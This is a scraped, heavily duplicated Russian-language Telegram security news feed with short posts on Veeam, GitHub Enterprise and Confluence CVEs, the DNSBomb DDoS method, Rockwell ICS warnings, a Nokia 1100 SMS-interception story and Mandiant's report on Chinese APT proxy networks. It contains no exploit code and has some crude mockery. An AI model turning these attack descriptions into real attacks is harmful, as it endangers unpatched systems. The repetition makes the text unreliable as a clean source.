• metasploit
• Burp Suite
• sqlmap
Не забывайте сохранить и поделиться нашим бесплатным курсом "Linux для новичков"!
#Linux #обучениеlinux #статьипоLinux
LH | Новости | Курсы | Мемы
Поставщик решений для резервного копирования Veeam предупредила клиентов о критической уязвимость Backup Enterprise Manager, которая позволяет неаутентифицированным злоумышленникам авторизоваться в веб-интерфейсе VBEM от имени любого пользователя.
Проблема отслеживается CVE-2024-29849 и имеет оценку CVSS 9,8/10. Однако не все среды подвержены атакам, поскольку VBEM не включен по умолчанию.
Уязвимость исправлена с выпуском версии VBEM 12.1.2.172, однако администратором до выполнения обновления следует смягчить недостаток, отключив службы VeeamEnterpriseManagerSvc (Veeam Backup Enterprise Manager) и VeeamRESTSvc (Veeam RESTful API).
Кроме того, Veeam исправила еще две высокосерьёзные уязвимости VBEM: CVE-2024-29850 и CVE-2024-29851.
Первая позволяет перехватывать учетные записи через ретранслятор NTLM, а другая позволяет пользователям с высокими привилегиями похитить NTLM-хэш учетной записи службы Veeam Backup Enterprise Manager.
Засекаем таймер и ждем, когда вновь выявленные недостатки будут использованы для взлома хостов инфраструктуры резервного копирования, как это было в марте 2023 года, когда статусы клиентов Veeam навестили вымогатели.
Но будем посмотреть.
Проблема отслеживается CVE-2024-29849 и имеет оценку CVSS 9,8/10. Однако не все среды подвержены атакам, поскольку VBEM не включен по умолчанию.
Уязвимость исправлена с выпуском версии VBEM 12.1.2.172, однако администратором до выполнения обновления следует смягчить недостаток, отключив службы VeeamEnterpriseManagerSvc (Veeam Backup Enterprise Manager) и VeeamRESTSvc (Veeam RESTful API).
Кроме того, Veeam исправила еще две высокосерьёзные уязвимости VBEM: CVE-2024-29850 и CVE-2024-29851.
Первая позволяет перехватывать учетные записи через ретранслятор NTLM, а другая позволяет пользователям с высокими привилегиями похитить NTLM-хэш учетной записи службы Veeam Backup Enterprise Manager.
Засекаем таймер и ждем, когда вновь выявленные недостатки будут использованы для взлома хостов инфраструктуры резервного копирования, как это было в марте 2023 года, когда статусы клиентов Veeam навестили вымогатели.
Но будем посмотреть.
Veeam Software
KB4581: Veeam Backup Enterprise Manager Vulnerabilities (CVE-2024-29849, CVE-2024-29850, CVE-2024-29851, CVE-2024-29852)
͏Команда ученых из Университета Цинхуа в Пекине обнаружила новый метод запуска широкомасштабных DDoS-атак с использованием DNS-трафика.
Новая атака называется получила название DNSBomb и представляет собой вариант DDoS-атаки формата 2003 года с использованием TCP-импульсов.
Новая атака использует ту же концепцию, но повторно реализует ее с использованием программного обеспечения DNS и современной инфраструктуры DNS-серверов.
Если простыми словами, DNSBomb работает, отправляя медленный поток измененных DNS-запросов на DNS-серверы, которые пересылают данные, увеличивая размер пакета и удерживая его, чтобы затем выпулить все сразу в импульсе DNS-трафика прямо на цель.
DNSBomb присвоен CVE-2024-33655, а исследование с подробными техническими деталями по ней будет представлено на этой неделе на симпозиуме IEEE по безопасности и конфиденциальности в Сан-Франциско.
Исследовательская группа утверждает, что протестировала свою технику на 10 основных программах DNS и 46 общедоступных службах DNS и смогла запустить DNSBomb со скоростью до 8,7 Гбит/с, при этом DNS-трафик был увеличен до 20 000 от первоначального размера.
Подобные цифры в реализации DNSBomb помимо исследователей заинтересовали также разработчиков ботнетов и операторов услуг по DDoS.
Правда, исследователи сообщили об атаке всем пострадавшим сторонам, при этом 24 организации уже подтвердили результаты исследования и выпустили соответствующие исправления.
Новая атака называется получила название DNSBomb и представляет собой вариант DDoS-атаки формата 2003 года с использованием TCP-импульсов.
Новая атака использует ту же концепцию, но повторно реализует ее с использованием программного обеспечения DNS и современной инфраструктуры DNS-серверов.
Если простыми словами, DNSBomb работает, отправляя медленный поток измененных DNS-запросов на DNS-серверы, которые пересылают данные, увеличивая размер пакета и удерживая его, чтобы затем выпулить все сразу в импульсе DNS-трафика прямо на цель.
DNSBomb присвоен CVE-2024-33655, а исследование с подробными техническими деталями по ней будет представлено на этой неделе на симпозиуме IEEE по безопасности и конфиденциальности в Сан-Франциско.
Исследовательская группа утверждает, что протестировала свою технику на 10 основных программах DNS и 46 общедоступных службах DNS и смогла запустить DNSBomb со скоростью до 8,7 Гбит/с, при этом DNS-трафик был увеличен до 20 000 от первоначального размера.
Подобные цифры в реализации DNSBomb помимо исследователей заинтересовали также разработчиков ботнетов и операторов услуг по DDoS.
Правда, исследователи сообщили об атаке всем пострадавшим сторонам, при этом 24 организации уже подтвердили результаты исследования и выпустили соответствующие исправления.
͏Ведущий ICS-производитель Rockwell Automation неожиданно обратилась к клиентам с требованием «НЕМЕДЛЕННО» отрубить от сети свои устройства ICS.
В качестве объяснения для своих предупреждений компания сослась на усиление вредоносной киберактивности в отношении КИИ на фоне нарастания геополитической напряженности.
Поставщик призвал как можно скорее изолировать те устройства ICS, прямо не предназначенные для общедоступного подключения к Интернет, что гарантирует компрометации тех из них, которые возможно, еще не исправлены от уязвимостей. Правда, каких именно в уведомлении поставщика не сообщается.
Rockwell также отметила о необходимости принятия мер по смягчению для защиты устройств от следующих уязвимостей: CVE-2021-22681, CVE-2022-1159, CVE-2023-3595, CVE-2023-46290, CVE-2024-21914, CVE-2024-21915 и CVE-2024-21917.
Даже CISA репостнула у себя сообщение Rockwell Automation в отношении отключения устройств ICS.
Видимо, что-то знают, но молчат.
В качестве объяснения для своих предупреждений компания сослась на усиление вредоносной киберактивности в отношении КИИ на фоне нарастания геополитической напряженности.
Поставщик призвал как можно скорее изолировать те устройства ICS, прямо не предназначенные для общедоступного подключения к Интернет, что гарантирует компрометации тех из них, которые возможно, еще не исправлены от уязвимостей. Правда, каких именно в уведомлении поставщика не сообщается.
Rockwell также отметила о необходимости принятия мер по смягчению для защиты устройств от следующих уязвимостей: CVE-2021-22681, CVE-2022-1159, CVE-2023-3595, CVE-2023-46290, CVE-2024-21914, CVE-2024-21915 и CVE-2024-21917.
Даже CISA репостнула у себя сообщение Rockwell Automation в отношении отключения устройств ICS.
Видимо, что-то знают, но молчат.
После шквала мемов, сопровождающих скандал по поводу конфиденциальности пользовательских данных в яблочных девайсах, Apple решила экстренно выпустить iOS 17.5.1.
Обнаруженный баг был вызван тем, что фотографии удалялись из приложения Photos, но не из файлового менеджера, а после обновления до iOS 17.5 удаленные таким образом фото вновь появились в ленте медиатеки.
Похоже, что баг был связан с процессом переиндексации после обновления iOS, при котором система по ошибке пересохранила фотографии из файлового менеджера в приложении Photos.
Тем не менее, англоязычные владельцы сразу же преуспели в конспирологию и начали муссировать слухи про негласные договоренности Apple со спецслужбами по поводу "mirroring" данных и изображений.
Конечно, никаких доказательств никто так и нашел, но неприятный осадочек остался.
Обнаруженный баг был вызван тем, что фотографии удалялись из приложения Photos, но не из файлового менеджера, а после обновления до iOS 17.5 удаленные таким образом фото вновь появились в ленте медиатеки.
Похоже, что баг был связан с процессом переиндексации после обновления iOS, при котором система по ошибке пересохранила фотографии из файлового менеджера в приложении Photos.
Тем не менее, англоязычные владельцы сразу же преуспели в конспирологию и начали муссировать слухи про негласные договоренности Apple со спецслужбами по поводу "mirroring" данных и изображений.
Конечно, никаких доказательств никто так и нашел, но неприятный осадочек остался.
The Verge
Apple’s new iPhone update fixes a bug that resurfaced deleted nudes
Update your iPhone immediately
Forwarded from Social Engineering
• На днях мне на глаза попалась занимательная статистика самых продаваемых мобильных телефонов в истории. Первое место в этой статистике занимает Nokia 1100, а общее число продаж этого телефона перевалило за 250 миллионов. И тут я вспомнил забавную историю, которая случилась в далеком 2009 году...
• В процессе расследования дела о почтовом мошенничестве в Нидерландах полиция столкнулась с весьма интересным фактом – неизвестный покупатель отдал 25 тысяч евро за телефон Nokia 1100. Данная бюджетная модель была выпущена в конце 2003 г. и предназначалась для развивающихся рынков, а цена телефона составляла менее 100 евро.
• В попытках выяснить, почему хакеры готовы платить такие большие деньги за дешевый и внешне непримечательный аппарат, полиция обратилась к компании Ultrascan Advanced Global Investigations. Эксперты Ultrascan выяснили, что хакеров привлекают не все аппараты Nokia 1100, а только изготовленные на фабрике Nokia в г. Бохум (Германия).
• Эта серия аппаратов была признана бракованной из-за проблем в устаревшем программном обеспечении, созданном еще в 2002 г. За счет этого самого «брака» хакеры научились перехватывать чужие SMS сообщения, в частности, одноразовые коды для банковских транзакций — mTAN (mobile Transaction Authentication Number), которые европейские банки присылали своим клиентам по SMS.
• Таким образом, получается, что хакерам оставалось лишь подключить этот телефон (без какой бы то ни было перепрошивки) к снифферу наподобие #WireShark и дело в шляпе — можно перехватывать SMS, а затем перевести деньги на свой счет.
• Интересно заметить, что на момент инцидента (2009 год), компания Nokia продала во всем мире более 200 миллионов экземпляров Nokia 1100 и моделей на ее базе, однако количество уязвимых аппаратов остается неизвестным...
S.E. ▪️ infosec.work ▪️ VT
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub выпустила исправления для критической уязвимости в Enterprise Server, которая позволяет неаутентифицированным злоумышленникам получить административные привилегии.
CVE-2024-4985 имеет максимальную оценку из возможных CVSS 10/10 и затрагивает все версии Enterprise Server до 3.13.0 с аутентификацией единого входа SAML (SSO) и включенной дополнительной функцией зашифрованных утверждений.
Эксплуатация открывает несанкционированный доступ к серверу с правами администратора без необходимости предварительной аутентификации с помощью подделки ответа SAML.
Однако, согласно GitHub, поскольку зашифрованные утверждения не включены по умолчанию, экземпляры, использующие аутентификацию SAML SSO без этой функции, не подвержены недостатку, как Enterprise Server без единого входа SAML.
GitHub исправила уязвимость, выпустив в срочном порядке версии Enterprise Server 3.9.15, 3.10.12, 3.11.10 и 3.12.4.
Разработчик не располагает сведениями об эксплуатации уязвимости в дикой природе, но с учетом серьезности CVE-2024-4985, пользователям рекомендуется как можно скорее обновить GitHub Enterprise Server до исправленной версии.
Поскольку максимальный уровень серьезности CVE-2024-4985 подвергает пользователей непропатченных версий невероятно высокому риску взлома сети злоумышленниками.
CVE-2024-4985 имеет максимальную оценку из возможных CVSS 10/10 и затрагивает все версии Enterprise Server до 3.13.0 с аутентификацией единого входа SAML (SSO) и включенной дополнительной функцией зашифрованных утверждений.
Эксплуатация открывает несанкционированный доступ к серверу с правами администратора без необходимости предварительной аутентификации с помощью подделки ответа SAML.
Однако, согласно GitHub, поскольку зашифрованные утверждения не включены по умолчанию, экземпляры, использующие аутентификацию SAML SSO без этой функции, не подвержены недостатку, как Enterprise Server без единого входа SAML.
GitHub исправила уязвимость, выпустив в срочном порядке версии Enterprise Server 3.9.15, 3.10.12, 3.11.10 и 3.12.4.
Разработчик не располагает сведениями об эксплуатации уязвимости в дикой природе, но с учетом серьезности CVE-2024-4985, пользователям рекомендуется как можно скорее обновить GitHub Enterprise Server до исправленной версии.
Поскольку максимальный уровень серьезности CVE-2024-4985 подвергает пользователей непропатченных версий невероятно высокому риску взлома сети злоумышленниками.
GitHub Docs
Release notes - GitHub Enterprise Server 3.9 Docs
Get started, troubleshoot, and make the most of GitHub. Documentation for new users, developers, administrators, and all of GitHub's products.
Исследователи Cybernews предупреждают о новой атаке на цепочку мудаков, обнаружив в сети 224 962 вероятно уязвимых экземпляров Atlassian Confluence Data Center и Confluence Server.
Традиционно больше всего(мудаков) их оказалось в США (53 195) и Японии (22 007), но и во Франции (11 562) и Германии (11 373) - тоже имеются.
По мнению исследователей, все они подвергаются потенциальному воздействию недавно обнаруженной критической уязвимости, которая отслеживается как CVE-2024-21683 и имеет оценку CVSS 8,3.
Она позволяет злоумышленнику, прошедшему проверку подлинности, выполнить произвольный код и не требует взаимодействия с пользователем, а скомпрометированная система при этом может быть использована в качестве опорной точки для продвижения внутри сети.
Ошибка в Atlassian Confluence Data Center и Confluence Server была исправлена, но несмотря на это исправить дефекты серого вещества владельцам обнаруженных сотен тысяч экземпляров пока не удалось.
По всей видимости, в самое ближайшее время этим займутся банды вымогателей и APT, правда за лечение придется заплатить.
Традиционно больше всего
По мнению исследователей, все они подвергаются потенциальному воздействию недавно обнаруженной критической уязвимости, которая отслеживается как CVE-2024-21683 и имеет оценку CVSS 8,3.
Она позволяет злоумышленнику, прошедшему проверку подлинности, выполнить произвольный код и не требует взаимодействия с пользователем, а скомпрометированная система при этом может быть использована в качестве опорной точки для продвижения внутри сети.
Ошибка в Atlassian Confluence Data Center и Confluence Server была исправлена, но несмотря на это исправить дефекты серого вещества владельцам обнаруженных сотен тысяч экземпляров пока не удалось.
По всей видимости, в самое ближайшее время этим займутся банды вымогателей и APT, правда за лечение придется заплатить.
Cybernews
Over 200K likely vulnerable Confluence Data Center instances exposed
Hundreds of thousands of Confluence instances are vulnerable to severe attacks.
Исследователи Mandiant поделились своими соображениями относительно того, как APT для уклонения от обнаружения задействуют прокси-сети, или сети оперативной ретрансляции ORB, созданные по типу ботнета из коммерческих VPS-сервисов и взломанных устройств.
Независимо от типа используемых устройств, сеть ORB включает обязательный набор необходимых компонентов:
- сервер администрирования узлов ACOS,
- узел ретрансляции (позволяет аутентифицироваться в сети и ретранслировать трафик),
- узлы обхода (основные узлы в сети ORB),
- выходные/промежуточные узлы (для запуска атак на цели),
- сервер-жертва (инфраструктура жертвы, взаимодействующая с узлом в сети ORB).
По данным ресерчеров, все чаще к ORB обращаются именно китайские APT в реализации своих операций кибершпионажа, две из которых им удалось задетектить.
Один из отлеживаемых кластеров прокси - ORB3/SPACEHOP, описывается как очень активная сеть, используемая множеством злоумышленников, связанных с Китаем, включая APT5 и APT15 для разведки и эксплуатации уязвимостей.
В декабре 2022 года SPACEHOP задействовалась для эксплуатации критической CVE-2022-27518 в Citrix ADC, которую АНБ связало с APT5 (Manganese, Mulberry Typhoon, Bronze Fleetwood, Keyhole Panda, и UNC2630).
По данным Mandiant, SPACEHOP - это высокоорганизованная сеть, использующая сервер ретрансляции в Гонконге или Китае у облачного провайдера и поддерживающая структуру C2 с открытым исходным кодом для управления нижестоящими узлами.
Узлы ретрансляции представляют собой клонированные образы на базе Linux, выполняющие роль перенаправления вредоносного трафика на выходной узел, который взаимодействует с целевыми средами жертвы.
Другая ORB2/FLORAHOX представляет собой гибридную сеть, состоящую из сервера ACOS, скомпрометированных устройств (маршрутизаторов и IoT) и VPS, которые пропускают трафик через TOR и различные типы взломанных маршрутизаторов, включая устройства с EoL CISCO, ASUS и Draytek.
Исследователи полагают, что эта сетка используется в кампаниях кибершпионажа различными участниками угроз, связанных с Китаем, чтобы скрыть трафик от источника.
Судя по всему, сеть содержит несколько подсетей, состоящих из взломанных устройств, задействованных имплантатом маршрутизатора FLOWERWATER, а также других полезных нагрузок на базе маршрутизатора.
Несмотря на то, что ORB2/FLORAHOX используется многими злоумышленниками, Mandiant полагает, что за ней может стоять APT31/Zirconium.
Помимо FLOWERWATER для навигации по сети ORB2 и ранее существовавшим узлам на основе входных данных командной строки задействовались также и дополнительные полезные данные и инструменты, в том числе туннелер маршрутизатора MIPS PETALTOWER, сценарии bash SHIMMERPICK.
В целом ресерчеры резюмировали, что подобная практика с ORB достаточно усложняет решение задач по защите корпоративной среды, негативно влияя, прежде всего, на обнаружение и атрибуцию, а также размывая индикаторы атакующей инфраструктуры.
Независимо от типа используемых устройств, сеть ORB включает обязательный набор необходимых компонентов:
- сервер администрирования узлов ACOS,
- узел ретрансляции (позволяет аутентифицироваться в сети и ретранслировать трафик),
- узлы обхода (основные узлы в сети ORB),
- выходные/промежуточные узлы (для запуска атак на цели),
- сервер-жертва (инфраструктура жертвы, взаимодействующая с узлом в сети ORB).
По данным ресерчеров, все чаще к ORB обращаются именно китайские APT в реализации своих операций кибершпионажа, две из которых им удалось задетектить.
Один из отлеживаемых кластеров прокси - ORB3/SPACEHOP, описывается как очень активная сеть, используемая множеством злоумышленников, связанных с Китаем, включая APT5 и APT15 для разведки и эксплуатации уязвимостей.
В декабре 2022 года SPACEHOP задействовалась для эксплуатации критической CVE-2022-27518 в Citrix ADC, которую АНБ связало с APT5 (Manganese, Mulberry Typhoon, Bronze Fleetwood, Keyhole Panda, и UNC2630).
По данным Mandiant, SPACEHOP - это высокоорганизованная сеть, использующая сервер ретрансляции в Гонконге или Китае у облачного провайдера и поддерживающая структуру C2 с открытым исходным кодом для управления нижестоящими узлами.
Узлы ретрансляции представляют собой клонированные образы на базе Linux, выполняющие роль перенаправления вредоносного трафика на выходной узел, который взаимодействует с целевыми средами жертвы.
Другая ORB2/FLORAHOX представляет собой гибридную сеть, состоящую из сервера ACOS, скомпрометированных устройств (маршрутизаторов и IoT) и VPS, которые пропускают трафик через TOR и различные типы взломанных маршрутизаторов, включая устройства с EoL CISCO, ASUS и Draytek.
Исследователи полагают, что эта сетка используется в кампаниях кибершпионажа различными участниками угроз, связанных с Китаем, чтобы скрыть трафик от источника.
Судя по всему, сеть содержит несколько подсетей, состоящих из взломанных устройств, задействованных имплантатом маршрутизатора FLOWERWATER, а также других полезных нагрузок на базе маршрутизатора.
Несмотря на то, что ORB2/FLORAHOX используется многими злоумышленниками, Mandiant полагает, что за ней может стоять APT31/Zirconium.
Помимо FLOWERWATER для навигации по сети ORB2 и ранее существовавшим узлам на основе входных данных командной строки задействовались также и дополнительные полезные данные и инструменты, в том числе туннелер маршрутизатора MIPS PETALTOWER, сценарии bash SHIMMERPICK.
В целом ресерчеры резюмировали, что подобная практика с ORB достаточно усложняет решение задач по защите корпоративной среды, негативно влияя, прежде всего, на обнаружение и атрибуцию, а также размывая индикаторы атакующей инфраструктуры.
Google Cloud
Cloud Security Resources
Safeguard your cybersecurity with Google Cloud's security resources. Reduce risk and boost your organization's threat detection and response abilities.